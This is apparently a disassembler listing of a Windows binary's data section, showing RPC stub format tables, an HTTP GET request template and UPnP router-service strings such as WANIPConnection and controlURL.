dword_9A4BB0	dd 44h,	4B324FC8h, 1D31670h, 475A7812h,	88E16EBFh, 3, 8A885D04h
					; DATA XREF: .text:pStubDescriptoro
		dd 11C91CEBh, 8E89Fh, 6048102Bh, 2, 7 dup(0)
		dd 48320000h, 0
		dd 180000h, 400024h, 7080647h, 30003h, 0B0000h,	20000h
		dd 4011Bh, 4800D6h, 80008h, 0C2150h, 1A0008h, 0E80010h
		dd 140070h, 48320008h, 0
		dd 140001h, 80008h, 3080547h, 1, 0B0000h, 20000h, 4010Bh
		dd 4800EEh, 80008h, 0C2113h, 7000F4h, 80010h, 4832h, 20000h
		dd 80010h, 4460008h, 108h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 80048h, 700008h, 8000Ch, 4832h
		dd 30000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h
		dd 20004h, 8011Bh, 48019Ch, 8000Ch, 102150h, 1A0008h, 0E80014h
		dd 180070h, 48320008h, 0
		dd 180004h, 80008h, 3080647h, 1, 0B0000h, 20000h, 4010Bh
		dd 10B00EEh, 0EE0008h, 0C0048h,	21130008h, 1AE0010h, 140070h
		dd 48320008h, 0
		dd 180005h, 240024h, 5080646h, 10000h, 0B0000h,	20000h
		dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A01E8h, 0E80010h
		dd 140070h, 48320008h, 0
		dd 0C0006h, 80000h, 1080346h, 0
		dd 0B0000h, 20000h, 4010Bh, 7000EEh, 80008h, 4832h, 70000h
		dd 10h,	4460008h, 108h,	0
		dd 0Bh,	10B0002h, 0EE0004h, 8010Bh, 7000EEh, 8000Ch, 4832h
		dd 80000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h
		dd 20004h, 8011Bh, 4802BEh, 8000Ch, 102150h, 1A0008h, 0E80014h
		dd 180070h, 48320008h, 0
a@:
		dw 9
		unicode	0, < $@>
		dd 7080847h, 30003h, 0B0000h, 20000h, 4000Bh, 0B0002h
		dd 20008h, 0C011Bh, 480350h, 80010h, 142150h, 1A0008h
		dd 0E80018h, 1C0070h, 48320008h, 0
		dd 14000Ah, 80010h, 3080547h, 1, 0B0000h, 20000h, 40048h
		dd 480008h, 80008h, 0C2113h, 700362h, 80010h, 4832h, 0B0000h
		dd 8000Ch, 3460008h, 108h, 0
		dd 0Bh,	480002h, 80004h, 80070h, 48320008h, 0
		dd 20000Ch, 400024h, 7080847h, 60006h, 0B0000h,	20000h
		dd 4000Bh, 0B0002h, 20008h, 0C011Bh, 48057Ch, 80010h, 142150h
		dd 1A0008h, 0E80018h, 1C0070h, 48320008h, 0
		dd 10000Dh, 80000h, 1080446h, 0
		dd 0B0000h, 20000h, 4000Bh, 0B0002h, 20008h, 0C0070h, 48320008h
		dd 0
		dd 14000Eh, 240024h, 5080546h, 30000h, 0B0000h,	20000h
		dd 40048h, 10B0008h, 58E0008h, 0C001Ah,	7000E8h, 80010h
		dd 4832h, 0F0000h, 240018h, 6470040h, 70708h, 7, 0Bh, 11B0002h
		dd 7CC0004h, 80048h, 21500008h,	8000Ch,	10001Ah, 7000E8h
		dd 80014h, 4832h, 100000h, 80014h, 5470008h, 30308h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 80048h, 21130008h, 7DE000Ch
		dd 100070h, 48320008h, 0
		dd 180011h, 240024h, 5080646h, 30000h, 0B0000h,	20000h
		dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A0828h, 0E80010h
		dd 140070h, 48320008h, 0
		dd 100012h, 80008h, 1080446h, 0
		dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h
		dd 0
		dd 100013h, 80008h, 1080446h, 0
		dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h
		dd 0
		dd 100014h, 240000h, 1080446h, 0
		dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0070h
		dd 48320008h, 0
		dd 100015h, 80008h, 3080447h, 1, 0B0000h, 20000h, 40048h
		dd 21130008h, 8720008h,	0C0070h, 48320008h, 0
		dd 140016h, 240024h, 5080546h, 10000h, 0B0000h,	20000h
		dd 40048h, 10B0008h, 0BA80008h,	0C001Ah, 7000E8h, 80010h
		dd 4832h, 170000h, 2C001Ch, 7470040h, 10708h, 1, 0Bh, 480002h
		dd 80004h, 8011Bh, 480D46h, 8000Ch, 102150h, 1A0008h, 0E80014h
		dd 180070h, 48320008h, 0
		dd 180018h, 840010h, 1080646h, 0
		dd 0B0000h, 20000h, 4000Bh, 480002h, 80008h, 0C0048h, 20120008h
		dd 0D5A0010h, 140070h, 48320008h, 0
		dd 100019h, 80008h, 5080446h, 10000h, 0B0000h, 20000h
		dd 40048h, 10B0008h, 0D880008h,	0C0070h, 48320008h, 0
		dd 18001Ah, 400024h, 7080647h, 90009h, 0B0000h,	20000h
		dd 4011Bh, 480FD0h, 80008h, 0C2150h, 1A0008h, 0E80010h
		dd 140070h, 48320008h, 0
		dd 10001Bh, 80008h, 5080446h, 10000h, 0B0000h, 20000h
		dd 40048h, 10B0008h, 0D880008h,	0C0070h, 48320008h, 0
		dd 0C001Ch, 700000h, 1080346h, 0
		dd 0B0000h, 20000h, 42012h, 700FDEh, 80008h, 4832h, 1D0000h
		dd 100014h, 5460008h, 108h, 0
		dd 0Bh,	0B0002h, 20004h, 80048h, 480008h, 8000Ch, 100070h
		dd 48320008h, 0
		dd 14001Eh, 240008h, 1080546h, 0
		dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0048h
		dd 700008h, 80010h
; const	unsigned __int8	pFormat
pFormat		db 32h			; DATA XREF: sub_9AFF71+8o
		db 48h,	2 dup(0)
		dd 1F0000h, 2C0020h, 8470024h, 10308h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 80113h, 880FFCh, 1008000Ch
		dd 10010Bh, 15800EEh, 80014h, 180048h, 700008h,	8001Ch
; const	unsigned __int8	byte_9A52E4
byte_9A52E4	db 32h			; DATA XREF: sub_9AFF93+8o
		db 48h,	2 dup(0)
		dd 200000h, 100018h, 6460008h, 108h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h
		dd 700008h, 80014h, 4832h, 210000h, 100014h, 5460008h
		dd 108h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 80048h, 480008h, 8000Ch, 100070h
		dd 48320008h, 0
		dd 1C0022h, 80018h, 3080747h, 1, 0B0000h, 20000h, 4010Bh
		dd 11300EEh, 101A0008h,	0C0088h, 481026h, 80010h, 140048h
		dd 700008h, 80018h, 4832h, 230000h, 100018h, 6460008h
		dd 108h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h
		dd 700008h, 80014h, 4832h, 240000h, 240018h, 6470040h
		dd 70708h, 7, 0Bh, 11B0002h, 7CC0004h, 80048h, 21500008h
		dd 8000Ch, 10001Ah, 7000E8h, 80014h, 4832h, 250000h, 80014h
		dd 5460040h, 108h, 0
		dd 0Bh,	10B0002h, 0EE0004h, 80048h, 1100008h, 1034000Ch
		dd 100070h, 48000008h, 0
		dd 80026h, 0E030h, 380000h, 2440040h, 108h, 0
		dd 118h, 70103Ch, 80004h, 4832h, 270000h, 80018h, 6470008h
		dd 10308h, 0
		dd 0Bh,	0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 102013h
		dd 701040h, 80014h, 4832h, 280000h, 80018h, 6460008h, 508h
		dd 1, 0Bh, 0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 10010Bh
		dd 700698h, 80014h, 4832h, 290000h, 80010h, 4460008h, 508h
		dd 5, 0Bh, 480002h, 80004h, 8010Bh, 70104Ch, 8000Ch, 4832h
		dd 2A0000h, 18001Ch, 7460008h, 108h, 0
		dd 0Bh,	0B0002h, 20004h, 8000Bh, 480002h, 8000Ch, 100048h
		dd 480008h, 80014h, 180070h, 48320008h,	0
		dd 0C002Bh, 240000h, 1080346h, 0
		dd 0B0000h, 20000h, 42150h, 700008h, 80008h, 4832h, 2C0000h
		dd 4C0020h, 8460008h, 508h, 1, 0Bh, 10B0002h, 0EE0004h
		dd 8010Ah, 10B107Eh, 0EE000Ch, 10010Bh,	10B00EEh, 10C80014h
		dd 180048h, 700008h, 8001Ch, 4832h, 2D0000h, 440010h, 4460008h
		dd 108h, 0
		dd 0Bh,	10A0002h, 107E0004h, 8010Bh, 7000EEh, 8000Ch, 4832h
		dd 2E0000h, 4C0014h, 5460008h, 108h, 0
		dd 0Bh,	10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h
		dd 48320008h, 0
		dd 10002Fh, 80044h, 1080446h, 0
		dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h,	0C0070h
		dd 48320008h, 0
		dd 1C0030h, 80054h, 3080747h, 1, 0B0000h, 20000h, 4010Ah
		dd 10B107Eh, 0EE0008h, 0C0048h,	480008h, 80010h, 140113h
		dd 7010E0h, 80018h, 4832h, 310000h, 4C0014h, 5460008h
		dd 108h, 0
		dd 0Bh,	10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h
		dd 48320008h, 0
		dd 100032h, 80044h, 1080446h, 0
		dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h,	0C0070h
		dd 48320008h, 0
a3_0:
		unicode	0, <3(\>
		dw 8
		dd 5080A46h, 10000h, 0B0000h, 20000h, 4010Bh, 4800EEh
		dd 80008h, 0C0048h, 10B0008h, 0EE0010h,	14010Ah, 10B107Eh
		dd 0EE0018h, 1C010Bh, 4810C8h, 80020h, 240070h,	48320008h
		dd 0
		dd 0C0034h, 80000h, 7080347h, 10001h, 0B0000h, 20000h
		dd 4201Bh, 7010ECh, 80008h, 4832h, 350000h, 80010h, 4460008h
		dd 508h, 5, 0Bh, 480002h, 80004h, 8010Bh, 701124h, 8000Ch
		dd 2 dup(0)
		db 2 dup(0)
word_9A57C2	dw 0			; DATA XREF: .text:pStubDescriptoro
		dd 5C250812h, 0CE0011h,	8082Bh,	1FFFCh,	40002h,	2, 0A0000h
		dd 1, 52h, 380012h, 40316h, 5C465C4Bh, 0
		dd 5C250812h, 5B5C085Bh, 4031Bh, 18h, 5C4B0001h, 44948h
		dd 10000h, 0
		dd 5C250812h, 0CD004C5Bh, 3165BFFh, 5C4B0008h, 45C46h
		dd 120004h, 85BFFD0h, 125B08h, 316004Ch, 5C4B0010h, 5C46h
		dd 8120000h, 5C465C25h,	80008h,	5C250812h, 808085Bh, 31B5B08h
		dd 180010h, 10000h, 49485C4Bh, 10h, 2, 8120000h, 85C25h
		dd 8120008h, 4C5B5C25h,	5BFFB900h, 80316h, 5C465C4Bh, 40004h
		dd 0FFC80012h, 5B08085Bh, 8031Ah, 0
		dd 29004C08h, 0C115BFFh, 8125C08h, 8115C08h, 4115C25h
		dd 82B0002h, 80028h, 20001h, 20004h, 0
		dd 1000Ah, 80000h, 120000h, 12FF18h, 11FF62h, 82B0082h
		dd 0FFFC0008h, 20001h, 20004h, 0
		dd 1FEF8h, 40000h, 120000h, 316004Eh, 5C4B0014h, 5C46h
		dd 8120000h, 5C465C25h,	80008h,	5C250812h, 808085Bh, 5B5C0808h
		dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0
		dd 5C250812h, 80008h, 5C250812h, 0B7004C5Bh, 3165BFFh
		dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 31A5B08h, 8, 4C080000h
		dd 5BFF7500h, 20411h, 28082Bh, 1000Ch, 40002h, 4, 0FF500000h
		dd 1, 3EA0010h,	0E0000h, 3EBh, 0FF3Eh, 0FF640012h, 20012h
		dd 40315h, 115B08h, 82B0002h, 80028h, 20001h, 40004h, 0
		dd 1FF16h, 0FFD60000h, 3EAh, 3EBFFD4h, 0FF040000h, 110000h
		dd 82B00ACh, 0FFFC0008h, 20001h, 20004h, 0
		dd 1000Ah, 2C0000h, 120000h, 31B0012h, 180004h,	10000h
		dd 0FF9E004Ch, 3165B5Ch, 5C4B0008h, 45C46h, 120004h, 85BFFE2h
		dd 125B08h, 3160050h, 5C4B001Ch, 145C46h, 8120014h, 5C465C25h
		dd 180018h, 5C250812h, 808085Bh, 8080808h, 31B5B5Ch, 18001Ch
		dd 10000h, 49485C4Bh, 1Ch, 140002h, 8120014h, 185C25h
		dd 8120018h, 4C5B5C25h,	5BFFB500h, 80316h, 5C465C4Bh, 40004h
		dd 0FFC80012h, 5B08085Bh, 8031Ah, 0
		dd 4B004C08h, 115BFFh, 82B0082h, 0FFFC0008h, 20001h, 20004h
		dd 2, 3FF4Eh, 40000h, 120000h, 316004Eh, 5C4B0014h, 0C5C46h
		dd 812000Ch, 5C465C25h,	100010h, 5C250812h, 808085Bh, 5B5C0808h
		dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0C000Ch, 5C250812h
		dd 100010h, 5C250812h, 0B7004C5Bh, 3165BFFh, 5C4B0008h
		dd 45C46h, 120004h, 85BFFC8h, 31A5B08h,	8, 4C080000h, 5BFF7500h
		dd 20411h, 28082Bh, 10008h, 40002h, 20002h, 0FE660000h
		dd 3, 4, 0FF700012h, 1F80011h, 8082Bh, 1FFFCh, 40002h
		dd 5, 0FC8E0000h, 1, 20016h, 740000h, 0Ah, 1F600E6h, 1420000h
		dd 120000h, 316004Eh, 5C4B0018h, 5C46h,	8120000h, 5C465C25h
		dd 40004h, 5C250812h, 808085Bh,	5B080808h, 18031Bh, 18h
		dd 5C4B0001h, 184948h, 20000h, 0
		dd 5C250812h, 40004h, 5C250812h, 0B7004C5Bh, 3165BFFh
		dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 3160062h
		dd 5C4B001Ch, 5C46h, 8120000h, 5C465C25h, 40004h, 5C250812h
		dd 185C46h, 8120018h, 85B5C25h,	8080808h, 5B5C0808h, 1C031Bh
		dd 18h,	5C4B0001h, 1C4948h, 30000h, 0
		dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 0A3004C5Bh
		dd 3165BFFh, 5C4B0008h,	45C46h,	120004h, 85BFFC0h, 125B08h
		dd 316004Ch, 5C4B0010h,	5C46h, 8120000h, 5C465C25h, 40004h
		dd 5C250812h, 808085Bh,	31B5B08h, 180010h, 10000h, 49485C4Bh
		dd 10h,	2, 8120000h, 45C25h, 8120004h, 4C5B5C25h, 5BFFB900h
		dd 80316h, 5C465C4Bh, 40004h, 0FFC80012h, 5B08085Bh, 740012h
		dd 200316h, 5C465C4Bh, 0
		dd 5C250812h, 45C46h, 8120004h,	5C465C25h, 180018h, 5C250812h
		dd 1C5C46h, 812001Ch, 85B5C25h,	8080808h, 5B080808h, 20031Bh
		dd 18h,	5C4B0001h, 204948h, 40000h, 0
		dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 1C001Ch
		dd 5C250812h, 91004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h
		dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDFF00h,	20011h
		dd 28082Bh, 10004h, 40002h, 9, 0FB700000h, 1, 2002Eh, 4C0000h
		dd 1F6h, 3EC0082h, 0FB580000h, 3EEh, 5DDFC1Ch, 0C40000h
		dd 3EDh, 1F5FC10h, 0FB440000h, 120000h,	3160002h, 5C4B000Ch
		dd 5C46h, 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh
		dd 125B5Ch, 3160002h, 5C4B0020h, 5C46h,	8120000h, 5C465C25h
		dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch
		dd 5C250812h, 808085Bh,	8080808h, 125B08h, 1B000Eh, 180001h
		dd 10020h, 3165B02h, 5C4B0028h,	5C46h, 8120000h, 5C465C25h
		dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch
		dd 5C250812h, 245C46h, 120024h,	85BFFBEh, 2 dup(8080808h)
		dd 125B08h, 1B000Eh, 180001h, 10000h, 3165B02h,	5C4B0008h
		dd 45C46h, 120004h, 85BFFE6h, 115B08h, 82B011Eh, 0FFFC0008h
		dd 20001h, 50004h, 0
		dd 1F964h, 160000h, 2, 1F60052h, 9E0000h, 1F5h,	0F99Ah
		dd 2C0012h, 0C031Bh, 18h, 5C4B0001h, 0C4948h, 20000h, 0
		dd 5C250812h, 80008h, 5C250812h, 0CF004C5Bh, 3165BFEh
		dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 31B003Ch
		dd 180020h, 10000h, 49485C4Bh, 20h, 4, 8120000h, 85C25h
		dd 8120008h, 185C25h, 8120018h,	1C5C25h, 812001Ch, 4C5B5C25h
		dd 5BFEA100h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h, 5B08085Bh
		dd 440012h, 28031Bh, 18h, 5C4B0001h, 284948h, 50000h, 0
		dd 5C250812h, 80008h, 5C250812h, 180018h, 5C250812h, 1C001Ch
		dd 5C250812h, 240024h, 0FE880012h, 8F004C5Bh, 3165BFEh
		dd 5C4B0008h, 45C46h, 120004h, 85BFFB0h, 31A5B08h, 8, 4C080000h
		dd 5BFED900h, 20411h, 28082Bh, 10008h, 40002h, 9, 0F9200000h
		dd 1, 2FDDEh, 0FDFC0000h, 1F6h,	3ECFE32h, 0F9080000h, 3EEh
		dd 5DDF9CCh, 0FE740000h, 3EDh, 1F5F9C0h, 0F8F40000h, 110000h
		dd 82B0002h, 80028h, 20001h, 90004h, 0
		dd 1F8D6h, 0FD940000h, 2, 1F6FDB2h, 0FDE80000h,	3ECh, 3EEF8BEh
		dd 0F9820000h, 5DDh, 3EDFE2Ah, 0F9760000h, 1F5h, 0F8AAh
		dd 20411h, 28082Bh, 10004h, 40002h, 64003Bh, 1600000h
		dd 65h,	660172h, 1920000h, 192h, 19301C4h, 2080000h, 1F6h
		dd 1F70258h, 26E0000h, 257h, 3ED02A8h, 0F85C0000h, 453h
		dd 3F2F920h, 0F91A0000h, 3F8h, 3F9F914h, 0F90E0000h, 3FAh
		dd 5DDF908h, 0F9020000h, 5DEh, 5DFF8FCh, 0F8F60000h, 5E2h
		dd 5E5F8F0h, 0F8EA0000h, 5E6h, 5E7F8E4h, 0F8DE0000h, 5E8h
		dd 5E9F8D8h, 0F8D20000h, 5EAh, 5EBF8CCh, 0F8C60000h, 5ECh
		dd 5EEF8C0h, 0F8BA0000h, 5F0h, 5F1F8B4h, 0F8AE0000h, 5F2h
		dd 5F3F8A8h, 0F8A20000h, 5F4h, 5F5F89Ch, 0F8960000h, 5F8h
		dd 5F9F890h, 0F88A0000h, 5FAh, 5FDF884h, 0F87E0000h, 5FEh
		dd 5FFF878h, 0F8720000h, 600h, 601F86Ch, 0F8660000h, 602h
		dd 603F860h, 0F85A0000h, 604h, 605F854h, 0F84E0000h, 606h
		dd 607F848h, 0F8420000h, 608h, 609F83Ch, 0F8360000h, 60Ah
		dd 60BF830h, 0F82A0000h, 60Ch, 60DF824h, 0F81E0000h, 60Eh
		dd 610F818h, 0F8120000h, 611h, 612F80Ch, 0F8060000h, 613h
		dd 614F800h, 0F7FA0000h, 120000h, 3160002h, 5C4B0008h
		dd 45C46h, 8120004h, 85B5C25h, 125B08h,	3160002h, 5C4B0018h
		dd 45C46h, 8120004h, 5C465C25h,	140014h, 5C250812h, 808085Bh
		dd 5B080808h, 20012h, 340316h, 5C465C4Bh, 40004h, 5C250812h
		dd 145C46h, 8120014h, 5C465C25h, 300030h, 5C250812h, 808085Bh
		dd 2 dup(8080808h), 5B5C0808h, 20012h, 7C0316h,	5C465C4Bh
		dd 0C000Ch, 5C250812h, 1C5C46h,	812001Ch, 5C465C25h, 780078h
		dd 5C250812h, 808085Bh,	7 dup(8080808h), 125B5Ch, 3160002h
		dd 5C4B0088h, 0C5C46h, 812000Ch, 5C465C25h, 1C001Ch, 5C250812h
		dd 785C46h, 8120078h, 5C465C25h, 840084h, 5C250812h, 808085Bh
		dd 7 dup(8080808h), 5B080808h, 20012h, 480315h,	4 dup(8080808h)
		dd 5B5C0808h, 20012h, 0A80316h,	5C465C4Bh, 480048h, 5C250812h
		dd 808085Bh, 9 dup(8080808h), 5B080808h, 20012h, 0E00316h
		dd 5C465C4Bh, 480048h, 5C250812h, 808085Bh, 0Dh	dup(8080808h)
		dd 115B08h, 82B0002h, 40028h, 20001h, 3B0004h, 64h, 65FE2Ah
		dd 0FE3C0000h, 66h, 192FE5Ch, 0FE8E0000h, 193h,	1F6FED2h
		dd 0FF220000h, 1F7h, 257FF38h, 0FF720000h, 3EDh, 453F526h
		dd 0F5EA0000h, 3F2h, 3F8F5E4h, 0F5DE0000h, 3F9h, 3FAF5D8h
		dd 0F5D20000h, 5DDh, 5DEF5CCh, 0F5C60000h, 5DFh, 5E2F5C0h
		dd 0F5BA0000h, 5E5h, 5E6F5B4h, 0F5AE0000h, 5E7h, 5E8F5A8h
		dd 0F5A20000h, 5E9h, 5EAF59Ch, 0F5960000h, 5EBh, 5ECF590h
		dd 0F58A0000h, 5EEh, 5F0F584h, 0F57E0000h, 5F1h, 5F2F578h
		dd 0F5720000h, 5F3h, 5F4F56Ch, 0F5660000h, 5F5h, 5F8F560h
		dd 0F55A0000h, 5F9h, 5FAF554h, 0F54E0000h, 5FDh, 5FEF548h
		dd 0F5420000h, 5FFh, 600F53Ch, 0F5360000h, 601h, 602F530h
		dd 0F52A0000h, 603h, 604F524h, 0F51E0000h, 605h, 606F518h
		dd 0F5120000h, 607h, 608F50Ch, 0F5060000h, 609h, 60AF500h
		dd 0F4FA0000h, 60Bh, 60CF4F4h, 0F4EE0000h, 60Dh, 60EF4E8h
		dd 0F4E20000h, 610h, 611F4DCh, 0F4D60000h, 612h, 613F4D0h
		dd 0F4CA0000h, 614h, 0F4C4h, 2A0011h, 35C29h, 6011Ah, 0
		dd 0FFF2004Ch, 1215B5Ch, 180000h, 10000h, 18h, 4C0001h
		dd 5B5CFFE0h, 80316h, 5C465C4Bh, 40004h, 0FFDC0012h, 5B08085Bh
		dd 21411h, 20012h, 440315h, 4 dup(8080808h), 115B08h, 1B000Eh
		dd 180001h, 0Ch, 3165B02h, 5C4B0014h, 45C46h, 8120004h
		dd 5C465C25h, 80008h, 0FFDC0012h, 105C46h, 8120010h, 85B5C25h
		dd 8080808h, 115B5Ch, 82B021Ah,	0FFFC0008h, 20001h, 40004h
		dd 0
		dd 10016h, 5A0000h, 2, 300DCh, 1600000h, 120000h, 31B0034h
		dd 180014h, 10000h, 49485C4Bh, 14h, 40003h, 8120004h, 85C25h
		dd 120008h, 10FF76h, 8120010h, 4C5B5C25h, 5BFF7500h, 80316h
		dd 5C465C4Bh, 40004h, 0FFC00012h, 5B08085Bh, 720012h, 180316h
		dd 5C465C4Bh, 40004h, 5C250812h, 85C46h, 120008h, 5C46FF36h
		dd 100010h, 5C250812h, 145C46h,	8120014h, 85B5C25h, 8080808h
		dd 31B5B08h, 180018h, 10000h, 49485C4Bh, 18h, 40004h, 8120004h
		dd 85C25h, 120008h, 10FEF6h, 8120010h, 145C25h,	8120014h
		dd 4C5B5C25h, 5BFF9300h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h
		dd 5B08085Bh, 740012h, 1C0316h,	5C465C4Bh, 40004h, 5C250812h
		dd 85C46h, 120008h, 5C46FEAEh, 100010h,	5C250812h, 145C46h
		dd 8120014h, 85B5C25h, 8080808h, 5B5C0808h, 1C031Bh, 18h
		dd 5C4B0001h, 1C4948h, 40000h, 40004h, 5C250812h, 80008h
		dd 0FE6C0012h, 100010h,	5C250812h, 140014h, 5C250812h
		dd 91004C5Bh, 3165BFFh,	5C4B0008h, 45C46h, 120004h, 85BFFB8h
		dd 125B08h, 1D007Eh, 5B020100h,	1200316h, 5C465C4Bh, 40004h
		dd 5C250812h, 85C46h, 120008h, 5C46FE1Eh, 100010h, 5C250812h
		dd 145C46h, 8120014h, 85B5C25h,	8080808h, 4C080808h, 5BFFC100h
		dd 120031Bh, 18h, 5C4B0001h, 1204948h, 40000h, 40004h
		dd 5C250812h, 80008h, 0FDD80012h, 100010h, 5C250812h, 140014h
		dd 5C250812h, 8D004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h
		dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDDD00h,	21411h
		dd 20012h, 300315h, 3 dup(8080808h), 115B5Ch, 1B0002h
		dd 280001h, 0Ch, 8B75B02h, 0
		dd 0FA00h, 5C080811h, 20011h, 2011Bh, 0C0028h, 5B050000h
		dd 8B7h, 0FA000000h, 4110000h, 0A0300002h, 4110000h, 0E1300002h
		dd 14110000h, 11F646h, 11F652h,	82B0002h, 40028h, 20001h
		dd 40120h, 0
		dd 1FD2Ah, 0FDCA0000h, 2, 3FE4Ch, 0FED60000h, 110000h
		dd 1D0008h, 5B010008h, 100315h,	4C060608h, 5BFFF100h, 3C0011h
		dd 140316h, 5C465C4Bh, 100010h,	5C250812h, 0DD004C5Bh
		dd 5B5C08FFh, 14031Bh, 18h, 5C4B0001h, 144948h,	10000h
		dd 100010h, 5C250812h, 0C9004C5Bh, 3165BFFh, 5C4B0008h
		dd 45C46h, 120004h, 85BFFD0h, 115B08h, 11B0002h, 280002h
		dd 10010h, 14125B05h, 120002h, 31B0012h, 80008h, 1FFFCh
		dd 0F8E8004Ch, 3185B5Ch, 0FFEC0004h, 49485C4Bh,	40008h
		dd 80001h, 8120008h, 85B5C25h, 115B5Ch,	82B0002h, 40028h
		dd 20001h, 40120h, 0
		dd 1FC52h, 0FCF20000h, 2, 3FD74h, 0FDFE0000h, 0
		dd 3C0000h, 0A20072h, 12000E4h,	186015Ch, 1F801B6h, 2760240h
		dd 2E802A0h, 34E0318h, 3C0038Ah, 42C03FCh, 48C045Ch, 4F204BCh
		dd 5700534h, 5DC05A0h, 636060Ch, 6A2066Ch, 72606EAh, 79E075Ch
		dd 81607DAh, 876084Ch, 8EE08B2h, 960091Eh, 9D2098Ah, 0A380A02h
		dd 0AAA0A68h, 0B100AE0h, 0B8E0B64h, 0
; const	MIDL_STUB_DESC pStubDescriptor
pStubDescriptor	MIDL_STUB_DESC <offset dword_9A4BB0, offset sub_9AA62A,	\
					; DATA XREF: sub_9AFF71+Do
					; sub_9AFF93+Do
				offset loc_9AA638, <offset Binding>, 0,	0, 0, 0, \
				offset word_9A57C2, 1, 50002h, 0, 600016Eh, 0, 0, 0, \
				1, 0, 0, 0>
byte_9A69D0	db 0			; DATA XREF: sub_9B0191+44r
byte_9A69D1	db 10h			; DATA XREF: sub_9B0191+4Cr
word_9A69D2	dw 1			; DATA XREF: sub_9B0191+54r
		dd 4161111h, 8041212h, 41613h, 51717h, 61818h, 131C19h
		dd 0B1D1Dh, 0C391Eh, 73E3Ah, 8403Fh, 0E4141h, 0D4545h
		dd 104442h, 114646h, 124847h, 144B49h, 154C4Ch,	16524Dh
		dd 195C53h, 0A6F5Dh, 1D7170h, 1F7272h
; char SubBlock[]
SubBlock	db '\VarFileInfo\Translation',0 ; DATA XREF: sub_9AFFB5+95o
		align 4
stru_9A6A48	_msEH <0FFFFFFFFh, offset loc_9B0084, offset loc_9B0088>
					; DATA XREF: sub_9AFFB5+5o
		align 8
stru_9A6A58	_msEH <0FFFFFFFFh, offset loc_9B0201, offset loc_9B0205>
					; DATA XREF: sub_9B0191+2o
dword_9A6A64	dd 0C516C213h, 6CA09CABh, 0EF0865D8h, 2	dup(0) ; DATA XREF: sub_9B0216+42o
stru_9A6A78	_msEH <0FFFFFFFFh, offset loc_9B02E4, offset loc_9B02E8>
					; DATA XREF: sub_9B0216+2o
		align 8
stru_9A6A88	_msEH <0FFFFFFFFh, offset loc_9B03BF, offset loc_9B03C3>
					; DATA XREF: sub_9B02F5+5o
		dd 2 dup(0Ch), 2 dup(7), 0Eh, 80h, 4000h, 7Ch, 1000000h
		dd 8000h
dword_9A6ABC	dd 1F3F3CDDh, 48F359BFh, 5ABC64A1h, 60516632h ;	DATA XREF: sub_9B2A03+EDo
byte_9A6ACC	db 19h			; DATA XREF: sub_9B2A03+11Do
					; sub_9B3378+FEr
		db 0Eh,	9, 7
		dd 4040505h, 3030304h, 2020202h
; char aGetSHttp1_1Hos[]
aGetSHttp1_1Hos	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B5139+D1o
		db 'Host: %s:%d',0Dh,0Ah
		db 'Connection: Close',0Dh,0Ah
		db 0Dh,0Ah,0
; char asc_9A6B10[]
asc_9A6B10	db '://',0              ; DATA XREF: sub_9B5345+9o
aService	db 'service',0          ; DATA XREF: sub_9B575F+2Ao
					; sub_9B57BA+18o
; char aUrnSchemasUp_2[]
aUrnSchemasUp_2	db 'urn:schemas-upnp-org:service:WANPPPConnection:1',0
					; DATA XREF: .text:009A6D24o
					; sub_9B57BA+A4o
; char aUrnSchemasUp_1[]
aUrnSchemasUp_1	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: .text:009A6D20o
					; sub_9B57BA:loc_9B584Do
		align 4
; char aUrnSchemasUpnp[]
aUrnSchemasUpnp	db 'urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1',0
					; DATA XREF: sub_9B57BA+39o
					; sub_9B5DA4+77o
; char aScpdurl[]
aScpdurl	db 'SCPDURL',0          ; DATA XREF: sub_9B58C5:loc_9B592Eo
; char aEventsuburl[]
aEventsuburl	db 'eventSubURL',0      ; DATA XREF: sub_9B58C5:loc_9B5915o
; char aControlurl[]
aControlurl	db 'controlURL',0       ; DATA XREF: sub_9B58C5:loc_9B58FCo
		align 4
; char aServicetype[]
aServicetype	db 'serviceType',0      ; DATA XREF: sub_9B58C5:loc_9B58E3o
; char aUrlbase[]
aUrlbase	db 'URLBase',0          ; DATA XREF: sub_9B58C5+5o
